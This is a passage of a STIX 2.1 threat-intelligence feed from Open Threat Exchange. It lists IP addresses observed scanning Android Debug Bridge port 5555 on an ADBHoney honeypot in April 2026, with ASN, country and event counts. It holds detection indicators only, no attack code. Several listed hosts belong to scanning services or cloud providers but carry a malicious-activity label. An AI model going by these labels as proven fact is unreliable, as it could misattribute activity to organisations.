        "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
        "indicator--72938c3c-756f-4633-b399-bbcd31d562d7",
        "indicator--6fa5b6c3-1144-4dcd-8937-52a96fa75cb7",
        "indicator--9c916ece-c5cb-4af7-bdab-02be3233356f",
        "indicator--3848886a-fdfa-4299-ad49-ea5c49110518",
        "indicator--27fec746-9290-44af-802d-db365b112ace",
        "indicator--d8716379-b9fd-4a30-8243-b05e53f92ab0",
        "indicator--5d74db63-012c-43bd-935b-8370147e6abd",
        "indicator--81109e86-e340-4185-9d58-4f31583f1111",
        "indicator--b05b2f97-1ad2-4726-a356-dd0243f041d1",
        "indicator--00f38aa1-f9f5-4524-986f-45ac3bdfffb7",
        "indicator--f4c29b8c-0b3c-4033-84fd-a2bc250735d9",
        "indicator--9d135ee4-9a4c-4aa0-89fc-e410af85c0ab",
        "indicator--c188707c-10c3-4abe-9340-2633b382e65c",
        "indicator--ec6fb90d-ec91-43b0-9143-b816fc7b95e9",
        "indicator--529e7564-b56c-467b-9c50-c4ed4aa0a829",
        "indicator--f0fc98ad-d5e2-45de-bf60-a32e0e14df85",
        "indicator--c4f3d7e5-7dfd-4b93-981f-8c0d937c3b25",
        "indicator--6ff54861-3935-4a42-aef3-489b6af89bb4",
        "indicator--7330c72d-a585-4b4d-848a-f43b86826036",
        "indicator--985d3915-c489-4a81-b27b-c080c8d88039",
        "indicator--5c7f4f1d-3304-43f5-8b59-e39147680cfc",
        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--b44871fe-900a-4715-84c6-d6922faeb33b",
        "indicator--502a4427-7f54-41da-b3c2-2bc6283ad4e2",
        "indicator--f8db2144-032f-4b42-9519-875e80d76579",
        "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
        "indicator--ab63a9c0-402b-42c2-a4d4-0e2d31a612e6",
        "indicator--f72f3be4-ec4f-43da-a70b-06199206e98c",
        "indicator--33737aaa-4af0-4908-8180-3c777c575c5d",
        "indicator--e2b983ff-671c-4662-8b33-6c0b2fc1171b",
        "indicator--1f4d433a-7b3f-494a-9335-c54c1e68bfbf",
        "indicator--3791a682-1643-4508-b817-a41a0455134f",
        "indicator--bb237dac-a11c-47f9-920e-6d35f895b1aa",
        "indicator--12f6112e-39f0-41fa-9fe0-ba4f588fcaec",
        "indicator--7d5456e4-7ea3-4017-95fd-e4ef51f81b7e",
        "indicator--46aed2d8-374d-41d0-b284-a16dee24bb1f",
        "indicator--f91d21b7-69bd-4ad9-a260-dd2f0b76dfb8",
        "indicator--78f24f92-2a2e-49c1-b201-9c1254304cd5",
        "indicator--3f14ef48-ffff-4b15-9335-dc1083f170ba",
        "indicator--fd8e673e-3364-41c0-aac1-2f6d859c23f5",
        "indicator--2819bfde-faf7-4e1d-bff4-28b4d10455c7",
        "indicator--7121adad-2c08-49a1-a967-798de977b2de",
        "indicator--8d446abe-79a0-49e6-acae-dc7c40524f44",
        "indicator--d5861336-694d-47f8-96d0-31aa01deefd6",
        "indicator--1d925850-0ee5-4c8b-9342-1185ac885c64",
        "indicator--cfd2ac42-98e2-4ffd-ad63-47c48fd33713",
        "indicator--112f596d-0fbc-4279-b865-d8bd1ce927c0",
        "indicator--8dd77e3b-a460-4e05-b7a7-7388cea4d6be",
        "indicator--3f735c4e-6fab-4ac6-974e-98255cb7a0ac",
        "indicator--d14e47c2-9203-4b88-99b9-210cfe5ae7a1",
        "indicator--98d72694-c197-4836-85cd-60961c5e482b",
        "indicator--0c0a0934-74be-4928-a002-a96ef794af68",
        "indicator--a2c25ed9-e9a7-4809-a5ea-3e6a66f140b2",
        "indicator--bbfe1f7e-cd81-474c-93cb-3fa65a7bebb6",
        "indicator--3891d9a3-0514-40f9-a1bd-3d192f9fc82c",
        "indicator--6c6c8ea4-eb50-4b31-9689-a708703c467a",
        "indicator--09c0332b-8fc1-41f4-8603-3b0dc119b73d",
        "indicator--24b7becc-23d2-4ad0-b5f7-1798dfd75060",
        "indicator--bd8b83e3-5f76-4881-a89d-2d8c1f7ed0b7",
        "indicator--d0076d47-5299-4cb2-a2d7-f857e35759cf",
        "indicator--7c4ffbe0-569b-42f9-9e62-41de9e59fd9f",
        "indicator--134db202-a58c-430f-832c-dc0095cc1b0f",
        "indicator--383b3c31-9192-4343-871d-18758782086e",
        "indicator--3a6e17ba-99a7-4d07-9288-7e83cad5fb2f",
        "indicator--a934571c-3a8d-480b-ae62-6f21bc4640ee",
        "indicator--358420e9-c258-4fa9-8af8-b8fee94fe825",
        "indicator--4cf02130-9264-41cf-a079-ceefc80f6a73",
        "indicator--09b0f9c6-5232-49c7-9b11-fe9ed8b95380",
        "indicator--303ae204-7771-4a1a-bec0-1d30f1d4f8e7",
        "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
        "indicator--21f9970c-ffff-40c6-be6f-c7226b256797",
        "indicator--43b1c8f5-3fc2-46fb-be74-0d0d564ad75d",
        "indicator--c3458e23-83ee-4ad2-b6ef-017c1cf25bbf",
        "indicator--99655e23-7d86-4b07-921a-7802fee585be",
        "indicator--832feb60-54f3-4432-a35c-f8abae834953",
        "indicator--d30541f8-d0fd-450b-b682-ea13be871f17",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--332a1acd-e317-481f-94b0-d7580ab16c5f",
        "indicator--a30ce149-bad2-42cc-b0dd-fd85355c8888",
        "indicator--f3e7cb5f-0d28-4df1-bd5b-b3d601699ba4",
        "indicator--05a44322-7454-4b7a-9f3b-cf72f216b67b",
        "indicator--14a4bc79-4d05-47ea-ae77-d3e183a102a5",
        "indicator--56a6b178-8869-4298-aed9-95b39a927f6e",
        "indicator--9b9108b1-42d0-45ef-ac44-9710813b3f87",
        "indicator--ac573726-c3d6-4d1f-bb16-6c5f942dda13",
        "indicator--79d2e27c-cb4a-4ecf-abd6-3a18f2e5ea88",
        "indicator--ee65554d-a014-492d-8df5-7810faa2762e",
        "indicator--80bbb35a-305b-4e27-a37a-cbfad80b1b45",
        "indicator--89c0df96-8612-4c94-8c4d-72ac52033b7a",
        "indicator--78b56f41-796b-4072-a80c-4180a9aa4236",
        "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
        "indicator--133bf4d5-b2f5-4f7c-913d-0dd8fcbc918d",
        "indicator--71943158-6f35-41fe-bd0e-cf7ee453bb67",
        "indicator--d37e9f82-fbb9-4512-b69e-7a4bbd713d56",
        "indicator--74b4fa0b-8a18-4871-8a2f-5ae3125cbb9b",
        "indicator--1469e1d2-64ea-48a5-9b4d-0f7e9d9aba4a",
        "indicator--9fa390ab-a4a0-43a0-9660-9da08589e6f4",
        "indicator--5af6ab3a-f94e-4db2-96f6-8be6d902a66b",
        "indicator--0ef20420-41e3-4e95-8744-08fab5ebcc58",
        "indicator--24ae29db-b221-43b1-a954-0c896411bd6f",
        "indicator--899516e4-de68-4bed-b408-abc9408e82e3",
        "indicator--3a2ce912-ba6a-42fd-9df3-65e3d3412a1e",
        "indicator--588e6aab-6aa2-46c5-9ada-5b1009d076e9",
        "indicator--1d48fbce-e39f-4218-b2b2-7c93453fc89c",
        "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
        "indicator--f9ed24c8-bde9-438c-b24b-7b6c41634b0f",
        "indicator--f8a58ca7-aaa4-48c6-a105-8c295e729bc0",
        "indicator--191b3104-ea99-423f-bcb6-05e30d8c6cdb",
        "indicator--76295ad3-0956-484e-bd01-dfc6c8d4f910",
        "indicator--974dd2d9-8037-4de4-b362-42c2075e8a8f",
        "indicator--29eba32c-0da7-4cd7-b725-bc15366a08e2",
        "indicator--d91cab75-0329-402c-93ab-ac2bf99b39a2",
        "indicator--a95b5f7b-78c0-4e5e-9bfb-f1bddbb4aacf",
        "indicator--aab9205b-cfb8-419f-90ac-fe0d25d4ec84",
        "indicator--fe62d51d-cbc7-403a-bee8-533d3af4a035",
        "indicator--92dd67b6-a9be-419f-9b87-9657052ba21a",
        "indicator--e754f851-6e1e-4c5c-b4bf-ec3e5071baa0",
        "indicator--a2c57c49-4892-4ba5-9a17-a7da048783b8",
        "indicator--d89fed58-38a9-4896-95c1-4f087bcbcde4",
        "indicator--87637544-73d2-4b89-b92f-09b86409882e",
        "indicator--00d02864-f533-4e80-92f5-2c4b80f69f7c",
        "indicator--bc26422e-52e4-4d53-ad57-c89d5fe90509",
        "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
        "indicator--6b8338a2-4e96-44f4-b2c2-2a6796ec85c5",
        "indicator--b9f4254d-8a80-425e-b56f-337c90b8d215",
        "indicator--ad49ad89-2c4c-4569-bb70-ca147b12071e",
        "indicator--761576db-abd5-46b9-ab91-a594352149da",
        "indicator--371850a8-1db5-4645-8ef2-f158e0e8ee1b",
        "indicator--33008aef-0e5e-4d08-9fd6-f0885ae2c4bd",
        "indicator--1b5cf1f3-1e43-40fb-93b0-8497f54424dc",
        "indicator--4f87b305-3a86-411f-9559-0acd7eb8b29b",
        "indicator--4677fce6-95d8-4e7c-bf8e-81b5fd201915",
        "indicator--ecc94eea-0723-4465-83a6-cf4fa73d48d7",
        "indicator--18650ce0-2a68-483a-bf7e-4f41ebb585e4",
        "indicator--14903fa1-7524-4fd4-9ed3-b2d7d6facb47",
        "indicator--25174558-57b8-46e5-a815-7a0ff4a18aa4",
        "indicator--4322a873-5d99-4aa8-875c-c43bd9ab1465",
        "indicator--f225b469-4532-4094-b28f-e4563342d2ac",
        "indicator--194bacce-c029-4ac8-8b6e-6263dbcb2ba2",
        "indicator--c570151c-4b6d-43df-afd5-5f2b55aaf7f8",
        "indicator--60efca08-844e-4353-b077-bfe541bb52b6",
        "indicator--88d96bf6-e547-4c29-85f8-486a3ba3b4ed",
        "indicator--ff97a5de-5e4b-4a4a-ba3c-4cc11181a7a1",
        "indicator--98b1e002-2c58-427c-9195-535bcb9c87eb",
        "indicator--7b7a2c87-7d6e-41cf-b685-2a9e9d37b1b2",
        "indicator--bb8b09d1-58fa-4e95-bb09-f7c4e37156d6",
        "indicator--9c9a0ade-e06a-465b-8ba2-1fe732aa2b8b",
        "indicator--86e27c69-7c29-4cb6-9b45-88aa28b1b08d",
        "indicator--8945d59e-b1ba-401a-8a46-931b8b44fded",
        "indicator--20a0a4a5-3219-4947-abe4-af9ee7800c8c",
        "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
        "indicator--8dcff9fd-79c8-4567-baf1-3d359eb87805",
        "indicator--18e37999-9fa3-47c6-b304-6076c878572a",
        "indicator--c059824d-c96a-4ee0-a982-2c7c8cfd9e00",
        "indicator--fb6f5dcd-58aa-4ea2-aede-0e753440a4af",
        "indicator--7fe6b9a2-7584-4c82-9f59-7d69aeb9c48d",
        "indicator--9f36a1a4-3f8d-428d-aa06-02b816510394",
        "indicator--afd6b123-705c-47a9-a818-27a31f9ad6a2",
        "indicator--1ac6d69a-30ad-4fe1-8b35-afb08eb822ae",
        "indicator--afe170e1-190b-4626-8720-b03c6d201fe5",
        "indicator--59607be7-698d-424b-91da-ab9da8d100ed",
        "indicator--620ca00d-8958-49e2-9ade-fa42dba37f8a",
        "indicator--83044e5d-7667-417e-bc32-dedf80181634",
        "indicator--68e740a0-1da7-4427-8763-0e63efb559bf",
        "indicator--24c47ce6-5f3a-47e6-bc99-c67a9dacafa2",
        "indicator--8ab04d07-56ec-4650-b7c2-1f3712fc44b8",
        "indicator--30f94b75-da7a-4498-b5c1-f29968bdc7d9",
        "indicator--7799247b-0f0a-4d44-bf01-4a59e66bb1c7",
        "indicator--381f2900-5932-41ee-8983-21e9d40b9ad8",
        "indicator--ef16aba5-3c19-4ef8-9d58-5ef9490acfd7",
        "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
        "indicator--fe7a58c1-699e-4708-a450-ec911d2dccfb",
        "indicator--38079a31-1976-41da-8b19-0a85d823b168",
        "indicator--bd3362bf-e101-4294-9998-f6b523e16909",
        "indicator--1137d49e-3843-4725-ad28-41ad61d8ab16",
        "indicator--cf645958-e578-41eb-b658-a59ec2f2a8ec",
        "indicator--d2229f22-b465-4f2c-81f6-e5b380f81614",
        "indicator--ddcd76a5-00d2-47d9-95c7-28719d30a8b0",
        "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
        "indicator--9eeea472-5a7b-4cc5-852e-e7da13a864c4",
        "indicator--c87db1b5-63a6-474f-9edd-ae20ae09c850",
        "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
        "indicator--941abb59-c8ce-4fa6-a815-ca964be9c359",
        "indicator--2dacaf5d-9bda-4f33-abf7-f9b4076f1d4e",
        "indicator--a15ddb79-8076-4ef1-a466-9566c5c1ed33",
        "indicator--6a1f74c0-6485-436f-aff5-77f7e008b230",
        "indicator--accce5a9-2f03-4fb5-8071-33c1f455686b",
        "indicator--230f3123-026b-45b5-9146-6ff9956d2e48",
        "indicator--8f4f91eb-7581-4d10-8bca-2bbd9c720199",
        "indicator--41a3820a-0f9b-4f05-b731-5c7a401513d5",
        "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
        "indicator--9872d1e1-d9eb-4895-abe6-fac0d3c1bfa5",
        "indicator--45c8c380-668e-4e49-a300-a4de10101dad",
        "indicator--b4f32cd3-4d02-4302-9aba-4290fc68be17",
        "indicator--58a49966-7e2d-466b-8e7e-efb8dc06497e",
        "indicator--9d4f98fb-11a9-480e-90a4-e846b2325a9d",
        "indicator--138964f9-dd98-428b-b4c3-7be035702ec0",
        "indicator--04e24d95-c929-43d9-9ba0-fa044af6b6f8",
        "indicator--1bfa346d-e27d-4498-b765-3dd9e078243e",
        "indicator--425e2159-64ff-4470-a82f-c229e7ab68f4",
        "indicator--6a1737b9-a6b6-49c3-bd56-68825e9619bc",
        "indicator--39c08c09-7e1b-4677-8d56-1d2d114b79de",
        "indicator--f9481e16-ee8c-4e4e-b727-aa7f3b7a1461",
        "indicator--ac2236fd-2eac-493e-b6ea-8fb64821c633",
        "indicator--97804ff2-6c0d-4a6b-8e0b-2ca023a2a5f5",
        "indicator--2bb8a37d-7ca9-43bc-b526-3de237ec828b",
        "indicator--fe99def5-9dac-4550-ac3e-e7dfe38682c6",
        "indicator--d1b159c7-ab87-497a-8fae-f236cc469bb2",
        "indicator--4cd6c3b7-4cb8-4ed7-8981-87b5da9e30c9",
        "indicator--36a7407e-8f95-4c78-a8ed-c406c243d81b",
        "indicator--f0b902e6-195d-469b-b432-80f27c2a2515",
        "indicator--d293e330-ad4c-4912-b70c-4e4194681df4",
        "indicator--d60368d6-43a3-4a8f-9365-3bfd9283e61b",
        "indicator--4b2716eb-4a05-4ef4-ba6b-9e21e3c52fcb",
        "indicator--eacd57d9-7ee5-4857-9d94-3d0528dedf95",
        "indicator--0262587c-8e56-4108-af02-3878f8e2e48f",
        "indicator--1a0901fa-d741-4da9-a60b-97a69d47d613",
        "indicator--c540b2c3-abe0-4d23-a90c-2735d593ae5a",
        "indicator--1583c9e7-9e35-496a-9073-49b8f8224388",
        "indicator--38346b98-0e7d-4b30-89a3-eabfedc316c1",
        "indicator--825f334a-48d5-4ce9-9f15-51fbd5e7e321",
        "indicator--3ff62667-eecd-48f8-a3e4-7c19bf4f9a1e",
        "indicator--0ec50c06-f303-43b1-b311-19122e4435c1",
        "indicator--35f93594-8a67-4cd3-bc08-0502b85a9319",
        "indicator--56e25017-1247-45e5-9766-1a84a92fe661",
        "indicator--25748ac0-dd9a-4c45-bca2-e8412c51f22c",
        "indicator--4f97cbde-a46e-4fe5-9eab-b89813d2b36d",
        "indicator--fde5e54c-dad3-41e4-a9e3-b4aa61cf08af",
        "indicator--55576d28-9b12-40a5-b8fe-649f48a2fd9f",
        "indicator--e8e4dfb3-a029-4af9-916c-ddcffcd01c0d",
        "indicator--3e2256ec-ff50-4e12-b31f-6f53f04aaedf",
        "indicator--80439013-c4a0-45e1-9480-f2397d9a166a",
        "indicator--e6cc0f3e-d5d7-42ca-9056-be8488ae800b",
        "indicator--1ba49d20-3d58-4104-b273-26813eca180f",
        "indicator--f325fb6d-fcf4-4815-9edc-3d9780d6b996",
        "indicator--f0a5b0c9-4bb2-449c-9008-ec2bb934fda5",
        "indicator--3c8f1567-7368-4a4b-bad9-25a2388d9401",
        "indicator--76c88c75-68c4-457e-b5fd-d9455dba3a91",
        "indicator--18c081b0-307e-4123-a359-19b0ee6e5eef",
        "indicator--a3b2d6b3-bcb3-4cb8-8b38-9b4c113925f2",
        "indicator--d29a72de-cb9f-4191-82b1-cb90759d86c9",
        "indicator--9b094b0f-c450-4849-b756-bb4763867b1f",
        "indicator--91b82691-8386-476f-b913-c5a2b7a3002a",
        "indicator--a0c9ed19-bc7d-4147-b287-4393c36f407f",
        "indicator--27d25e15-32be-4fb8-880c-7e8f7b8d6ea1",
        "indicator--5f6e02fa-3444-4495-b2b0-1566e44e029b",
        "indicator--aed82333-e942-48df-afa9-7608c8973339",
        "indicator--94264976-d1fd-40d2-81d0-e38f67779395",
        "indicator--74ddf11e-4fdc-45e3-b843-5694b8ed255b",
        "indicator--6d88890d-0dcd-46ea-8249-505d1595ca26",
        "indicator--e825dbd8-7e90-4982-bf46-5594c0d6948f",
        "indicator--a1155fbc-6960-490c-9622-8310691223a6",
        "indicator--d23df8ac-9b84-4bd9-b691-b4a515a28de1",
        "indicator--a89eb09c-a984-48cc-955f-ff475f56c34e",
        "indicator--aeb4bd7e-61b7-42fd-93eb-2dfa8cbdd503",
        "indicator--547b3dee-9023-4bd4-9477-6e09fb7d9985",
        "indicator--1f7aa692-feb8-441d-94d0-4eda93b8ec5e",
        "indicator--70be63ff-4bcd-45a6-9a92-d005acaccec1",
        "indicator--9381c8af-a108-4aa0-aa8d-5b7683bb90a8",
        "indicator--4d6cc69a-e538-437f-8249-950e75e90002",
        "indicator--6111d365-1f0c-40f2-8196-13cb27eece2e",
        "indicator--3fa6920c-983f-47c1-9424-26bfe342bdb5",
        "indicator--96e4de45-ed19-4e26-9ab1-e7ee95d5dec9",
        "indicator--c2b3a7c6-fd16-4e88-9757-8007df60d118",
        "indicator--993282f7-93c5-468d-8af7-cb70c27acf0f",
        "indicator--6fe06833-87aa-4148-87aa-b69a3eaa49db",
        "indicator--bcda6eda-cba1-4347-ac1b-cf184eadfed7",
        "indicator--39bb51e8-9c01-49cb-a2bf-52c608a6f5f5",
        "indicator--e07088f4-ab34-49f4-acc7-0b515cc82d89",
        "indicator--f35c703e-e0a2-4650-9431-0c4448dc4938",
        "indicator--59ff8baa-e992-4022-9a26-8ac46289d90b",
        "indicator--1b016ba0-6940-48bb-a256-44fe17940df1",
        "indicator--f5758546-b522-4052-8cea-dde2cd60b79c",
        "indicator--5773cd7b-d115-4e63-86da-c76b4ee4cdac",
        "indicator--a5ae844c-a263-497f-8093-23a5fd977507",
        "indicator--b8bb4bad-5a72-44a8-950b-521e8405cdec",
        "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
        "indicator--4bcda25e-1d8f-400f-a86a-057c1720cfb7",
        "indicator--2ab61bd8-0c72-49a7-9afd-b65030359454",
        "indicator--45e22534-a34e-4752-b9a3-b29e96f1e271",
        "indicator--f790332b-cb1e-4e34-9be0-be9af1aea836",
        "indicator--b206602f-7d88-4e21-ade6-0fea77812cd9"
      ],
      "published": "2026-04-01T02:00:32.291Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-04-01T02:00:32.291Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-04-01T02:00:32.291Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-04-01T02:00:33.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=NL; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=1740 | first_seen=2026-04-01T01:17:43.000Z | last_seen=2026-04-30T22:37:41.763Z | ports=5555 | cc=NL | asn=202412 | org=Omegatech LTD",
      "id": "indicator--5b51f46b-84f5-4083-9c90-d36ed4dd1472",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:00:33.000Z",
      "valid_until": "2026-05-03T02:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 1740,
          "first_seen": "2026-04-01T01:17:43.000Z",
          "last_seen": "2026-04-30T22:37:41.763Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T02:00:33.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=45 | first_seen=2026-04-01T01:28:21.000Z | last_seen=2026-04-20T05:37:30.190Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--e9a19e95-ef7b-483a-942b-7b373f9229d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T02:00:33.000Z",
      "valid_until": "2026-05-03T02:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 45,
          "first_seen": "2026-04-01T01:28:21.000Z",
          "last_seen": "2026-04-20T05:37:30.190Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T03:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=SG; asn=13335; asn_org=Cloudflare, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-01T02:03:07.000Z | last_seen=2026-04-01T02:13:18.893Z | ports=5555 | cc=SG | asn=13335 | org=Cloudflare, Inc.",
      "id": "indicator--718fa647-b5a3-4d4f-abe0-b6e393888c1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.28.166.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:00:05.000Z",
      "valid_until": "2026-05-03T03:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-01T02:03:07.000Z",
          "last_seen": "2026-04-01T02:13:18.893Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "13335"
          ],
          "org": [
            "Cloudflare, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T03:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-01T02:05:59.000Z | last_seen=2026-04-29T01:56:54.867Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--1b096290-cd30-4bf5-982b-5f61b05af088",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:00:05.000Z",
      "valid_until": "2026-05-03T03:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-01T02:05:59.000Z",
          "last_seen": "2026-04-29T01:56:54.867Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T03:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-01T02:13:44.000Z | last_seen=2026-04-22T18:48:34.377Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--7bcc0851-7b04-442f-9015-ceca99b8ac3b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:00:05.000Z",
      "valid_until": "2026-05-03T03:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-01T02:13:44.000Z",
          "last_seen": "2026-04-22T18:48:34.377Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T03:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-01T02:13:44.000Z | last_seen=2026-04-01T02:24:04.766Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--60ca3075-f812-4be6-bc0a-910057cbd2b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T03:00:05.000Z",
      "valid_until": "2026-05-03T03:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
